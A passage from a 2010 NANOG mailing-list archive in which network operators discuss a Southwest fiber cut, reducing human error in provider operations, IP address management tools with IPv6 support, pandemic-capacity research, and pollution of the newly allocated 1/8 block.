was near. The other option is that the fiber provider was actually doing maintenance (adding capacity, fixing a troubled strand) and did the damage themselves. -Scott -----Original Message----- From: Bret Clark [mailto:bclark at spectraaccess.com] Sent: Tuesday, February 02, 2010 6:37 PM To: nanog Subject: Re: Fiber Cut in CA? Good point...so if the cut is in the middle of nowhere without easy access...then how the hell did it get cut? Malicious? Matt Simmons wrote: And in an open desert, back hoes can smell fiber from miles away. On Tue, Feb 2, 2010 at 3:27 PM, Bill Stewart [1] wrote: On Tue, Feb 2, 2010 at 12:04 AM, [2] wrote: That is one long protect path. Yikes. There be mountains in the way, with deserts in between, and not a lot of people to justify diversity or railroads and highways to run it along. Not many carriers have more than one fiber route across Arizona and New Mexico, especially for the newer high-capacity fibers (i.e. built this millennium, after the financial excesses of the 90s.) I'm no longer current on what routes are being used by what carriers, but if you don't have two routes across northern Arizona ( I-10/I-40, with restoration routes like Barstow->LasVegas->Flagstaff->Phoenix), then the next alternative is Barstow->LasVegas->SaltLakeCity->Denver, at which point some carriers have routes down to Phoenix via Tucumcari or Amarillo, and the rest are going to go through Dallas, and anybody who doesn't have the LasVegas->SLC route is going to use Sacramento->SLC->Denver, possibly also including San Jose, depending on what routes they've got across California. So, yeah, instead of the nice short 2200-mile restoration routes you can use if SF->Seattle fails, cable cuts in the Southwest can be really long... -- ---- Thanks; Bill Note that this isn't my regular email account - It's still experimental so far. And Google probably logs and indexes everything you send it. References 1. mailto:nonobvious at gmail.com 2. mailto:charles at knownelement.com From mike at m5computersecurity.com Tue Feb 2 19:02:38 2010 From: mike at m5computersecurity.com (Michael J McCafferty) Date: Tue, 02 Feb 2010 17:02:38 -0800 Subject: Fiber Cut in CA? In-Reply-To: <00dd01caa469$b20eb4b0$162c1e10$@net> References: <1685579605-1265097857-cardhu_decombobulator_blackberry.rim.net-566927336-@bda609.bisx.prod.on.blackberry> <18a5e7cb1002021227w7b96b411tbf029ac91a75e51f@mail.gmail.com> <5bcb62b61002021229m3228e7dbyb65e352caddd86a0@mail.gmail.com> <4B68B713.20401@spectraaccess.com> <00dd01caa469$b20eb4b0$162c1e10$@net> Message-ID: <1265158958.6107.182.camel@mike-desktop> I believe in this case the ticket mentions it was at the site of an "on-going water project". Contrary to what may seem logical to those not familiar with the area, the area out that way is loaded with very productive farm land and there are lots of aqueducts and irrigation. Mike On Tue, 2010-02-02 at 19:41 -0500, Scott Berkman wrote: > Cross-country Fibers very often follow existing utility rights of way. So even in a wide open desert, the places the fibers go are the "busy" spots. Sometimes its train tracks, sometimes its gas pipelines, sometimes its electric, sometimes it?s a road, but very rarely is fiber like that "on its own". > > So the cut was likely construction on whatever the fiber was near. The other option is that the fiber provider was actually doing maintenance (adding capacity, fixing a troubled strand) and did the damage themselves. > > -Scott > -- ************************************************************ Michael J. McCafferty Principal M5 Hosting http://www.m5hosting.com You can have your own custom Dedicated Server up and running today ! RedHat Enterprise, CentOS, Ubuntu, Debian, OpenBSD, FreeBSD, and more ************************************************************ From mirotrem at gmail.com Tue Feb 2 19:28:44 2010 From: mirotrem at gmail.com (Chadwick Sorrell) Date: Tue, 2 Feb 2010 20:28:44 -0500 Subject: Mitigating human error in the SP In-Reply-To: <4B686867.9080602@gmail.com> References: <4B686867.9080602@gmail.com> Message-ID: Thanks for all the comments! On Tue, Feb 2, 2010 at 1:01 PM, JC Dill wrote: > Chadwick Sorrell wrote: >> >> This outage, of a high profile customer, triggered upper management to >> react by calling a meeting just days after. ?Put bluntly, we've been >> told "Human errors are unacceptable, and they will be completely >> eliminated. ?One is too many." > > Good, Fast, Cheap - pick any two. ?No you can't have all three. > > Here, Good is defined by your pointy-haired bosses as an > impossible-to-achieve zero error rate.[1] ?Attempting to achieve this is > either going to cost $$$, or your operations speed (how long it takes people > to do things) is going to drop like a rock. ?Your first action should be to > make sure upper management understands this so they can set the appropriate > priorities on Good, Fast, and Cheap, and make the appropriate budget > changes. > > It's going to cost $$$ to hire enough people to have the staff necessary to > double-check things in a timely manner, OR things are going to slow way down > as the existing staff is burdened by necessary double-checking of everything > and triple-checking of some things required to try to achieve a zero error > rate. ?They will also need to spend $$$ on software (to automate as much as > possible) and testing equipment. ?They will also never actually achieve a > zero error rate as this is an impossible task that no organization has ever > achieved, no matter how much emphasis or money they pour into it (e.g. > Windows vulnerabilities) or how important (see Challenger, Columbia, and the > Mars Climate Orbiter incidents). > > When you put a $$$ cost on trying to achieve a zero error rate, > pointy-haired bosses are usually willing to accept a normal error rate. ?Of > course, they want you to try to avoid errors, and there are a lot of simple > steps you can take in that effort (basic checklists, automation, testing) > which have been mentioned elsewhere in this thread that will cost some money > but not the $$$ that is required to try to achieve a zero error rate. ?Make > sure they understand that the budget they allocate for these changes will be > strongly correlated to how Good (zero error rate) and Fast (quick > operational responses to turn-ups and problems) the outcome of this > initiative. > > jc > > [1] ?http://www.godlessgeeks.com/LINKS/DilbertQuotes.htm > > 2. "What I need is a list of specific unknown problems we will encounter." > (Lykes Lines Shipping) > > 6. "Doing it right is no excuse for not meeting the schedule." (R&D > Supervisor, Minnesota Mining & Manufacturing/3M Corp.) > > > > From blake at beamspeed.com Tue Feb 2 19:28:58 2010 From: blake at beamspeed.com (Blake Covarrubias) Date: Tue, 2 Feb 2010 18:28:58 -0700 Subject: Fiber Cut in CA? In-Reply-To: <1265158958.6107.182.camel@mike-desktop> References: <1685579605-1265097857-cardhu_decombobulator_blackberry.rim.net-566927336-@bda609.bisx.prod.on.blackberry> <18a5e7cb1002021227w7b96b411tbf029ac91a75e51f@mail.gmail.com> <5bcb62b61002021229m3228e7dbyb65e352caddd86a0@mail.gmail.com> <4B68B713.20401@spectraaccess.com> <00dd01caa469$b20eb4b0$162c1e10$@net> <1265158958.6107.182.camel@mike-desktop> Message-ID: <91A81073-E9A6-4AA7-AF15-1963A7B00316@beamspeed.com> This is actually in my service area. There is an on-going water construction project along Interstate 8 by the Kiewit Corporation, and other entities, which are working on the All American Canal Lining Project. http://www.iid.com/Water/AllAmericanCanalLiningProject http://www.kiewit.com/projects/water-resources/all-american-canal.aspx I drive by that area often and it is always very busy with workers and large machinery. -- Blake Covarrubias On Feb 2, 2010, at 6:02 PM, Michael J McCafferty wrote: > > I believe in this case the ticket mentions it was at the site of an > "on-going water project". Contrary to what may seem logical to those not > familiar with the area, the area out that way is loaded with very > productive farm land and there are lots of aqueducts and irrigation. > > Mike > > On Tue, 2010-02-02 at 19:41 -0500, Scott Berkman wrote: >> Cross-country Fibers very often follow existing utility rights of way. So even in a wide open desert, the places the fibers go are the "busy" spots. Sometimes its train tracks, sometimes its gas pipelines, sometimes its electric, sometimes it?s a road, but very rarely is fiber like that "on its own". >> >> So the cut was likely construction on whatever the fiber was near. The other option is that the fiber provider was actually doing maintenance (adding capacity, fixing a troubled strand) and did the damage themselves. >> >> -Scott >> > > -- > ************************************************************ > Michael J. McCafferty > Principal > M5 Hosting > http://www.m5hosting.com > > You can have your own custom Dedicated Server up and running today ! > RedHat Enterprise, CentOS, Ubuntu, Debian, OpenBSD, FreeBSD, and more > ************************************************************ > > From wavetossed at googlemail.com Tue Feb 2 19:30:00 2010 From: wavetossed at googlemail.com (Michael Dillon) Date: Wed, 3 Feb 2010 01:30:00 +0000 Subject: Mitigating human error in the SP In-Reply-To: References: Message-ID: <877585b01002021730s660bc6bcy4c2aa2e91b44efb5@mail.gmail.com> > Automated config deployment / provisioning. ? And sanity checking > before deployment. Easy to say, not so easy to do. For instance, that incorrect port was identified by a number or name. Theoretically, if an automated tool pulls the number/name from a database and issues the command, then the error cannot happen. But how does the number/name get into the database. I've seen a situation where a human being enters that number, copying it from another application screen. We hope that it is done by copy/paste all the time but who knows? And even copy/paste can make mistakes if the selection is done by mouse by someone who isn't paying enough attention. But wait! How did the other application come up with that number for copying? Actually, it was copy-pasted from yet a third application, and that application got it by copy paste from a spreadsheet. It is easy to create a tangled mess of OSS applications that are glued together by lots of manual human effort creating numerous opportunities for human error. So while I wholeheartedly support automation of network configuration, that is not a magic bullet. You also need to pay attention to the whole process, the whole chain of information flow. And there are other things that may be even more effective such as hiding your human errors. This is commonly called a "maintenance window" and it involves an absolute ban on making any network change, no matter how trivial, outside of a maintenance window. The human error can still occur but because it is in a maintenance window, the customer either doesn't notice, or if it is planned maintenance, they don't complain because they are expecting a bit of disruption and have agreed to the planned maintenance window. That only leaves break-fix work which is where the most skilled and trusted engineers work on the live network outside of maintenance windows to fix stuff that is seriously broken. It sounds like the event in the original posting was something like that, but perhaps not, because this kind of break-fix work should only be done when there is already a customer-affecting issue. By the way, even break-fix changes can, and should be, tested in a lab environment before you push them onto the network. --Michael Dillon From ops.lists at gmail.com Tue Feb 2 19:36:59 2010 From: ops.lists at gmail.com (Suresh Ramasubramanian) Date: Wed, 3 Feb 2010 07:06:59 +0530 Subject: Mitigating human error in the SP In-Reply-To: <877585b01002021730s660bc6bcy4c2aa2e91b44efb5@mail.gmail.com> References: <877585b01002021730s660bc6bcy4c2aa2e91b44efb5@mail.gmail.com> Message-ID: Never said it was, and never said foolproof either. Minimizing the chance of error is what I'm after - and ssh'ing in + hand typing configs isn't the way to go. Use a known good template to provision stuff - and automatically deploy it, and the chances of human error go down quite a lot. Getting it down to zero defect from there is another kettle of fish altogether - a much more expensive with dev / test, staging and production environments, documented change processes, maintenance windows etc. On Wed, Feb 3, 2010 at 7:00 AM, Michael Dillon wrote: > > It is easy to create a tangled mess of OSS applications that are glued together > by lots of manual human effort creating numerous opportunities for human error. > So while I wholeheartedly support automation of network configuration, that is > not a magic bullet. You also need to pay attention to the whole process, the > whole chain of information flow. -- Suresh Ramasubramanian (ops.lists at gmail.com) From wavetossed at googlemail.com Tue Feb 2 19:36:59 2010 From: wavetossed at googlemail.com (Michael Dillon) Date: Wed, 3 Feb 2010 01:36:59 +0000 Subject: Mitigating human error in the SP In-Reply-To: References: <20100202234629.7c7cf8cf@opy.nosense.org> Message-ID: <877585b01002021736l62483870m3fab2780e02746bb@mail.gmail.com> > The actual error happened when someone was troubleshooting a turn-up, > where in the past the customer in question has had their ethertype set > wrong. ?It wasn't a provisioning problem as much as someone > troubleshooting why it didn't come up with the customer. ?Ironically, > the NOC was on the phone when it happened, and the switch was rebooted > almost immediately and the outage lasted 5 minutes. This is why large operators have a "ready for service" protocol. The customer is never billed until it is officially RFS, and to make it RFS requires more than an operational network, it also requires the customer to agree in writing that they have a fully functional connection. This is another way of hiding human error, because now the up-down-up is just part of the provisioning process. There is a record of the RFS date-time so if the customer complains about an outage BEFORE that point, they can be politely reminded that when RFS happened and that charging does not start until AFTER that point. --Michael Dillon From hiersd at gmail.com Tue Feb 2 20:38:40 2010 From: hiersd at gmail.com (David Hiers) Date: Tue, 2 Feb 2010 18:38:40 -0800 Subject: Mitigating human error in the SP In-Reply-To: <877585b01002021736l62483870m3fab2780e02746bb@mail.gmail.com> References: <20100202234629.7c7cf8cf@opy.nosense.org> <877585b01002021736l62483870m3fab2780e02746bb@mail.gmail.com> Message-ID: <2873f3701002021838i6b6225c1g70fe64e68da5208e@mail.gmail.com> If your manager pretends that they can manage humans without a few well-worn human factor books on their shelf, quit. David On Tue, Feb 2, 2010 at 5:36 PM, Michael Dillon wrote: >> The actual error happened when someone was troubleshooting a turn-up, >> where in the past the customer in question has had their ethertype set >> wrong. ?It wasn't a provisioning problem as much as someone >> troubleshooting why it didn't come up with the customer. ?Ironically, >> the NOC was on the phone when it happened, and the switch was rebooted >> almost immediately and the outage lasted 5 minutes. > > This is why large operators have a "ready for service" protocol. The customer > is never billed until it is officially RFS, and to make it RFS requires more > than an operational network, it also requires the customer to agree in writing > that they have a fully functional connection. > > This is another way of hiding human error, because now the up-down-up is > just part of the provisioning process. There is a record of the RFS date-time > so if the customer complains about an outage BEFORE that point, they can > be politely reminded that when RFS happened and that charging does not > start until AFTER that point. > > --Michael Dillon > > From smb at cs.columbia.edu Tue Feb 2 20:44:25 2010 From: smb at cs.columbia.edu (Steven Bellovin) Date: Tue, 2 Feb 2010 21:44:25 -0500 Subject: Mitigating human error in the SP In-Reply-To: References: <877585b01002021730s660bc6bcy4c2aa2e91b44efb5@mail.gmail.com> Message-ID: <0F4D5798-5400-497C-B358-6F89E13B5CA7@cs.columbia.edu> On Feb 2, 2010, at 8:36 PM, Suresh Ramasubramanian wrote: > Never said it was, and never said foolproof either. Minimizing the > chance of error is what I'm after - and ssh'ing in + hand typing > configs isn't the way to go. > > Use a known good template to provision stuff - and automatically > deploy it, and the chances of human error go down quite a lot. Getting > it down to zero defect from there is another kettle of fish altogether > - a much more expensive with dev / test, staging and production > environments, documented change processes, maintenance windows etc. > Yup. Or use a database and a template-driven compiler. See "Configuration management and security", IEEE Journal on Selected Areas in Communications, 27(3):268-274, April 2009, by myself and Randy Bush, http://www.cs.columbia.edu/~smb/papers/config-jsac.pdf (the system described is Randy's work, from many years ago). --Steve Bellovin, http://www.cs.columbia.edu/~smb From haska at ualberta.ca Tue Feb 2 21:59:51 2010 From: haska at ualberta.ca (haska at ualberta.ca) Date: Tue, 02 Feb 2010 20:59:51 -0700 Subject: Research Project: Internet capacity during pandemic events Message-ID: <20100202205951.54184flv7lpeqm4g@webmail.ualberta.ca> Hello everyone, My name is Mike Haska, and I am a graduate student at the University of Alberta. I am conducting research into Internet capacity issues during pandemic events. In order to analyze certain aspects of this topic, I need to get in touch with representatives from the major Internet service providers in Canada - some of whom, I am hoping, are members of this distribution. Specifically, I am looking to get in touch with individuals who are familiar with the structure of their network and with any pandemic contingency plans that are in place within their organization. If you think you may be able to assist, or if you know of anyone who could, please contact me at (haska at ualberta.ca) and I will provide further information on all aspects of this study. To put your mind at ease - I'm not fishing around for sensitive information or your root passwords; I'm looking for an overview of your policies and your responses to hypothetical scenarios. Your confidentiality is assured and you are welcome to preview all the questions to be asked before you commit to participating in any way. I feel this topic has important implications to network operators in Canada, so any support you can offer to this research project is greatly appreciated. Best regards, -Mike From sean at donelan.com Tue Feb 2 22:59:59 2010 From: sean at donelan.com (Sean Donelan) Date: Tue, 2 Feb 2010 23:59:59 -0500 (EST) Subject: Research Project: Internet capacity during pandemic events In-Reply-To: <20100202205951.54184flv7lpeqm4g@webmail.ualberta.ca> References: <20100202205951.54184flv7lpeqm4g@webmail.ualberta.ca> Message-ID: http://www.ncs.gov/library/pubs/Pandemic%20Comms%20Impact%20Study%20(December%202007).pdf Department of Homeland Security Pandemic Influenza Impact on Communications Networks Study December 2007 From andy at nosignal.org Wed Feb 3 06:51:20 2010 From: andy at nosignal.org (Andy Davidson) Date: Wed, 03 Feb 2010 12:51:20 +0000 Subject: ip address management In-Reply-To: <009e01caa44c$b953b120$2bfb1360$@net> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> Message-ID: <4B697148.3060207@nosignal.org> On 02/02/2010 21:14, Scott Berkman wrote: > I was about to suggest IPPlan, but it is lacking the V6 support. Here is > one I found doing some searching, but I haven't used it myself: We use IPPlan for ipv4 and a fairly flexible, but less fully featured management program called vim for ipv6. Migrating our data out of ipplan to something else is a flashpoint that can lead to error, but we might have to do that. It looks like the lack of ipv6 support in ipplan is partly due to the maintainer not wanting to support it, so we might be tempted to (if the license permits) fork the project and hack in support. We have hacked it a lot already to build user-based containment between resources, so that we can have a vlan schema for many networks, and many customers (with their own logins, and only visability of their own subnets) in the same instance. If we hack v6 support in, we could release the finished project - I think there was opposition to doing that thus far because the developer was embarrassed about some of the hacks ;-) Andy From nanog at daork.net Wed Feb 3 06:57:21 2010 From: nanog at daork.net (Nathan Ward) Date: Thu, 4 Feb 2010 01:57:21 +1300 Subject: ip address management In-Reply-To: <009e01caa44c$b953b120$2bfb1360$@net> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> Message-ID: I'm actually writing some IP management code. Web based, it knows about the difference between IPv4 and IPv6 in maybe 3 or 4 places. Intention is to release it publicly when it's good to go. On 3/02/2010, at 10:14 AM, Scott Berkman wrote: > I was about to suggest IPPlan, but it is lacking the V6 support. Here is > one I found doing some searching, but I haven't used it myself: > > http://sourceforge.net/projects/haci/ > > -Scott > > -----Original Message----- > From: Pavel Dimow [mailto:paveldimow at gmail.com] > Sent: Tuesday, February 02, 2010 3:55 PM > To: nanog at nanog.org > Subject: ip address management > > Hello, > > does anybody knows what happend with ipat? > > http://nethead.de/index.php/ipat > http://nanog.cluepon.net/index.php/Tools_and_Resources > > Any other suggestion for a good foss ip address management app with > ipv6 support? > > > > > !DSPAM:22,4b6895ef126381679815450! > > From regnauld at nsrc.org Wed Feb 3 06:59:09 2010 From: regnauld at nsrc.org (Phil Regnauld) Date: Wed, 3 Feb 2010 13:59:09 +0100 Subject: ip address management In-Reply-To: <4B697148.3060207@nosignal.org> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> <4B697148.3060207@nosignal.org> Message-ID: <20100203125902.GB8658@macbook.catpipe.net> Andy Davidson (andy) writes: > > It looks like the lack of ipv6 support in ipplan is partly due to > the maintainer not wanting to support it, so we might be tempted to > (if the license permits) It's GPL... So for away :) Also, you might want to look at TIPP: http://tipp.tobez.org/ http://github.com/tobez/tipp 2-clause BSD-style license. Was developed for a large ISP. IPv6 support is planned: Future of TIPP - import/export from/to CSV; - IP availability checks (pinging); - editing ranges of IP addresses at once; - plugin architecture for better integration with the existing systems; - IPv6 support; - installation instructions; - automated install script; - fine-grained access control; - an ability to define new classes; - user documentation; - API documentation; Cheers, Phil From regnauld at nsrc.org Wed Feb 3 07:03:10 2010 From: regnauld at nsrc.org (Phil Regnauld) Date: Wed, 3 Feb 2010 14:03:10 +0100 Subject: ip address management In-Reply-To: <20100203125902.GB8658@macbook.catpipe.net> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> <4B697148.3060207@nosignal.org> <20100203125902.GB8658@macbook.catpipe.net> Message-ID: <20100203130306.GD8658@macbook.catpipe.net> Phil Regnauld (regnauld) writes: > > Future of TIPP > > - import/export from/to CSV; > - IP availability checks (pinging); > - editing ranges of IP addresses at once; > - plugin architecture for better integration with the existing systems; > - IPv6 support; Update: IPv6 is planned during february apparently, according to the developer. From braaen at zcorum.com Wed Feb 3 07:47:51 2010 From: braaen at zcorum.com (Brian Raaen) Date: Wed, 3 Feb 2010 08:47:51 -0500 Subject: Mitigating human error in the SP In-Reply-To: References: <877585b01002021730s660bc6bcy4c2aa2e91b44efb5@mail.gmail.com> Message-ID: <201002030847.52433.braaen@zcorum.com> Reminds me of the saying, nothing is foolproof given a sufficiently talented fool. I do agree that checklist, peer reviews, parallel turnups, and lab testing when used and not jury rigged have helped me prepare for issue. Usually when I skipped those things are the time I kick myself for not doing it. Another thing that helps is giving yourself enough time, doing what you can ahead of time, and being ready on time. Just my two bits. -- ---------------------- Brian Raaen Network Engineer braaen at zcorum.com On Tuesday 02 February 2010, Suresh Ramasubramanian wrote: > Never said it was, and never said foolproof either. Minimizing the > chance of error is what I'm after - and ssh'ing in + hand typing > configs isn't the way to go. > > Use a known good template to provision stuff - and automatically > deploy it, and the chances of human error go down quite a lot. Getting > it down to zero defect from there is another kettle of fish altogether > - a much more expensive with dev / test, staging and production > environments, documented change processes, maintenance windows etc. > > On Wed, Feb 3, 2010 at 7:00 AM, Michael Dillon > wrote: > > > > It is easy to create a tangled mess of OSS applications that are glued together > > by lots of manual human effort creating numerous opportunities for human error. > > So while I wholeheartedly support automation of network configuration, that is > > not a magic bullet. You also need to pay attention to the whole process, the > > whole chain of information flow. > > > > -- > Suresh Ramasubramanian (ops.lists at gmail.com) > > From nick at foobar.org Wed Feb 3 08:41:19 2010 From: nick at foobar.org (Nick Hilliard) Date: Wed, 03 Feb 2010 14:41:19 +0000 Subject: ip address management In-Reply-To: <4B697148.3060207@nosignal.org> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> <4B697148.3060207@nosignal.org> Message-ID: <4B698B0F.9080603@foobar.org> On 03/02/2010 12:51, Andy Davidson wrote: > It looks like the lack of ipv6 support in ipplan is partly due to the > maintainer not wanting to support it, so we might be tempted to (if the > license permits) fork the project and hack in support. There is a FAQ entry for ipv6 support in ipplan: > One feature request that comes up from time to time is IPv6. Adding IPv6 > support will require major effort but has such a limited audience. > Ironically the only people that ever requested IPv6 support are either > from Telcos, ISP?s or government departments, yet they are never > interested in contributing resources! I deam them parasites of the Open > Source world - leaching off the good will and effort of the Open Source > community, yet give nothing in return. q.v. http://iptrack.sourceforge.net/doku.php?id=faq I guess we're all entitled to our opinions. The data model used in ipplan is to enumerate all IP addresses in the working ranges. This works fine for ipv4, but obviously breaks horribly for ipv6. Political considerations aside, I suspect that this is at least some of the reason that ipplan doesn't support it. Nick From ken.gilmour at gmail.com Wed Feb 3 09:13:30 2010 From: ken.gilmour at gmail.com (Ken Gilmour) Date: Wed, 3 Feb 2010 09:13:30 -0600 Subject: Research Project: Internet capacity during pandemic events In-Reply-To: <20100202205951.54184flv7lpeqm4g@webmail.ualberta.ca> References: <20100202205951.54184flv7lpeqm4g@webmail.ualberta.ca> Message-ID: <5b6f80201002030713t30148ffeld1f3a21ce08b9773@mail.gmail.com> It's not related to Canada directly but but it is related to your question. The following links are to the NANOG archive from Sep 11th 2001 where there was some very good communication, specifically from Sean Donnelan regarding connectivity during crisis. It shows the "unknowns" that people faced and the teamwork involved in ensuring everyone could communicate (if you overlook the religious and opinionated posts from other members). http://www.merit.edu/mail.archives/nanog/2001-09/ http://www.merit.edu/mail.archives/nanog/2001-09/msg00384.html Regards, Ken On 2 February 2010 21:59, wrote: > Hello everyone, > > My name is Mike Haska, and I am a graduate student at the University of > Alberta. I am conducting research into Internet capacity issues during > pandemic events. In order to analyze certain aspects of this topic, I need > to get in touch with representatives from the major Internet service > providers in Canada - some of whom, I am hoping, are members of this > distribution. > > Specifically, I am looking to get in touch with individuals who are > familiar with the structure of their network and with any pandemic > contingency plans that are in place within their organization. > > If you think you may be able to assist, or if you know of anyone who could, > please contact me at (haska at ualberta.ca) and I will provide further > information on all aspects of this study. > > To put your mind at ease - I'm not fishing around for sensitive information > or your root passwords; I'm looking for an overview of your policies and > your responses to hypothetical scenarios. Your confidentiality is assured > and you are welcome to preview all the questions to be asked before you > commit to participating in any way. > > I feel this topic has important implications to network operators in > Canada, so any support you can offer to this research project is greatly > appreciated. > > Best regards, > -Mike > > From regnauld at nsrc.org Wed Feb 3 09:15:30 2010 From: regnauld at nsrc.org (Phil Regnauld) Date: Wed, 3 Feb 2010 16:15:30 +0100 Subject: ip address management In-Reply-To: <4B698B0F.9080603@foobar.org> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> <4B697148.3060207@nosignal.org> <4B698B0F.9080603@foobar.org> Message-ID: <20100203151526.GG38289@macbook.catpipe.net> Nick Hilliard (nick) writes: > > There is a FAQ entry for ipv6 support in ipplan: > > > One feature request that comes up from time to time is IPv6. Adding IPv6 > > support will require major effort but has such a limited audience. > > Ironically the only people that ever requested IPv6 support are either > > from Telcos, ISP?s or government departments, yet they are never > > interested in contributing resources! I deam them parasites of the Open > > Source world - leaching off the good will and effort of the Open Source > > community, yet give nothing in return. Shame. And "deam" is "deem". > q.v. http://iptrack.sourceforge.net/doku.php?id=faq > > I guess we're all entitled to our opinions. Yeah, sad. > The data model used in ipplan is to enumerate all IP addresses in the > working ranges. This works fine for ipv4, but obviously breaks horribly > for ipv6. Political considerations aside, I suspect that this is at least > some of the reason that ipplan doesn't support it. It would indeed require a very large screen and lots of memory :) Cheers, Phil From tdurack at gmail.com Wed Feb 3 09:42:58 2010 From: tdurack at gmail.com (Tim Durack) Date: Wed, 3 Feb 2010 10:42:58 -0500 Subject: Datacenter for DR in northwestern NJ/NY In-Reply-To: <61777DD2-3C7D-4D69-BEC1-C3D5EEE1F46A@cs.columbia.edu> References: <386FCF83D8086E4A89655E41CD3B53D359C829B3B7@rtexch01> <4E51E3414E92644EA8F47C586C4C81CAFDF84B6739@whryemsx01.whisolutions.com> <61777DD2-3C7D-4D69-BEC1-C3D5EEE1F46A@cs.columbia.edu> Message-ID: <9e246b4d1002030742x7e234ab1le8e07b2f051bf493@mail.gmail.com> On Tue, Feb 2, 2010 at 6:19 PM, Steven Bellovin wrote: > > On Feb 2, 2010, at 5:52 PM, Cerniglia, Brandon wrote: > >> Cervalis has facilities in wappingers ny >> 1.5 hours from NYC > > > Hmm -- where to the fibers run from a facility like that? ?Are the all homed to NYC, or are there runs to, say, Albany or Boston? Cervalis (Wappinger Falls) is a decent facility. There is at least one regional provider (Lightower) in there with a good fiber foot-print. They can get you to mid-hudson valley, nyc, nj, Long Island and Mass. I believe they cover PoPs in the Boston and Albany area. -- Tim:> Sent from Brooklyn, NY, United States From mir at ripe.net Wed Feb 3 09:49:00 2010 From: mir at ripe.net (Mirjam Kuehne) Date: Wed, 03 Feb 2010 16:49:00 +0100 Subject: How polluted is 1/8? Message-ID: <4B699AEC.8080505@ripe.net> Hello, After 1/8 was allocated to APNIC last week, the RIPE NCC did some measurements to find out how "polluted" this block really is. See some surprising results on RIPE Labs: http://labs.ripe.net/content/pollution-18 Please also note the call for feedback at the bottom of the article. Kind Regards, Mirjam Kuehne RIPE NCC From bortzmeyer at nic.fr Wed Feb 3 09:53:45 2010 From: bortzmeyer at nic.fr (Stephane Bortzmeyer) Date: Wed, 3 Feb 2010 16:53:45 +0100 Subject: How polluted is 1/8? In-Reply-To: <4B699AEC.8080505@ripe.net> References: <4B699AEC.8080505@ripe.net> Message-ID: <20100203155345.GA16874@nic.fr> On Wed, Feb 03, 2010 at 04:49:00PM +0100, Mirjam Kuehne wrote a message of 15 lines which said: > After 1/8 was allocated to APNIC last week, the RIPE NCC did some > measurements to find out how "polluted" this block really is. > > See some surprising results on RIPE Labs: > http://labs.ripe.net/content/pollution-18 Not a suprise, unfortunately. See also http://bgpmon.net/blog/?p=275 From joelja at bogus.com Wed Feb 3 09:58:03 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Wed, 03 Feb 2010 07:58:03 -0800 Subject: ip address management In-Reply-To: <20100203151526.GG38289@macbook.catpipe.net> References: <6d2cb0d51002021255t1409097fi1b0244e081139ed7@mail.gmail.com> <009e01caa44c$b953b120$2bfb1360$@net> <4B697148.3060207@nosignal.org> <4B698B0F.9080603@foobar.org> <20100203151526.GG38289@macbook.catpipe.net> Message-ID: <4B699D0B.5040402@bogus.com> Phil Regnauld wrote: > Nick Hilliard (nick) writes: >> There is a FAQ entry for ipv6 support in ipplan: >> >>> One feature request that comes up from time to time is IPv6. Adding IPv6 >>> support will require major effort but has such a limited audience. >>> Ironically the only people that ever requested IPv6 support are either >>> from Telcos, ISP?s or government departments, yet they are never >>> interested in contributing resources! I deam them parasites of the Open >>> Source world - leaching off the good will and effort of the Open Source >>> community, yet give nothing in return. > > Shame. And "deam" is "deem". That's a somewhat shallow reading of the motivation for contributing resources to another project in any event... There wasn't a lot of canned address mangement software when I started supporting v6 in a campus environment 10 years ago either. mysql isn't that hard and neither are spreadsheets embedded in wikis. the important part is the business process where the records in the address management system remain congruent with what's represented in the address mangement system. I don't think (although I could be wrong) that most of our organizations are so deliberately helpless that we need a shrinkwrap software package made specifically for the purpose to track foo resource. Having cut my teeth in technical support in era when pc based RDBMSes took over the world, much less technical people then us manage to track employee hours, video rental inventories, beauty supplies, grades etc quite successfully. From joelja at bogus.com Wed Feb 3 10:09:29 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Wed, 03 Feb 2010 08:09:29 -0800 Subject: How polluted is 1/8? In-Reply-To: <4B699AEC.8080505@ripe.net> References: <4B699AEC.8080505@ripe.net> Message-ID: <4B699FB9.1000005@bogus.com> It should be of no surprise to anyone that a number of the remaining prefixes are something of a mess(somebody ask t-mobile how they're using 14/8 internally for example). One's new ipv4 assignments are going to be of significantly lower quality than the one received a decade ago, The property is probably transitive in that the overall quality of the ipv4 unicast space is declining... The way to reduce the entropy in a system is to pump more energy in, there's always the question however of whether that's even worth it or not. joel Mirjam Kuehne wrote: > Hello, > > After 1/8 was allocated to APNIC last week, the RIPE NCC did some > measurements to find out how "polluted" this block really is. > > See some surprising results on RIPE Labs: > http://labs.ripe.net/content/pollution-18 > > Please also note the call for feedback at the bottom of the article. > > Kind Regards, > Mirjam Kuehne > RIPE NCC > > > From bicknell at ufp.org Wed Feb 3 10:12:00 2010 From: bicknell at ufp.org (Leo Bicknell) Date: Wed, 3 Feb 2010 08:12:00 -0800 Subject: How polluted is 1/8? In-Reply-To: <4B699AEC.8080505@ripe.net> References: <4B699AEC.8080505@ripe.net> Message-ID: <20100203161200.GA61811@ussenterprise.ufp.org> In a message written on Wed, Feb 03, 2010 at 04:49:00PM +0100, Mirjam Kuehne wrote: > After 1/8 was allocated to APNIC last week, the RIPE NCC did some > measurements to find out how "polluted" this block really is. Having this data is useful, but I can't help to think it would be more useful if it were compared with 27/8, or other networks. Is this slightly worse, or significantly worse than other networks? -- Leo Bicknell - bicknell at ufp.org - CCIE 3440 PGP keys at http://www.ufp.org/~bicknell/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 826 bytes Desc: not available URL: From ross at kallisti.us Wed Feb 3 10:14:09 2010 From: ross at kallisti.us (Ross Vandegrift) Date: Wed, 3 Feb 2010 11:14:09 -0500 Subject: Mitigating human error in the SP In-Reply-To: <019301caa3b1$dfe90650$9fbb12f0$@net> References: <019301caa3b1$dfe90650$9fbb12f0$@net> Message-ID: <20100203161409.GC3212@kallisti.us> On Mon, Feb 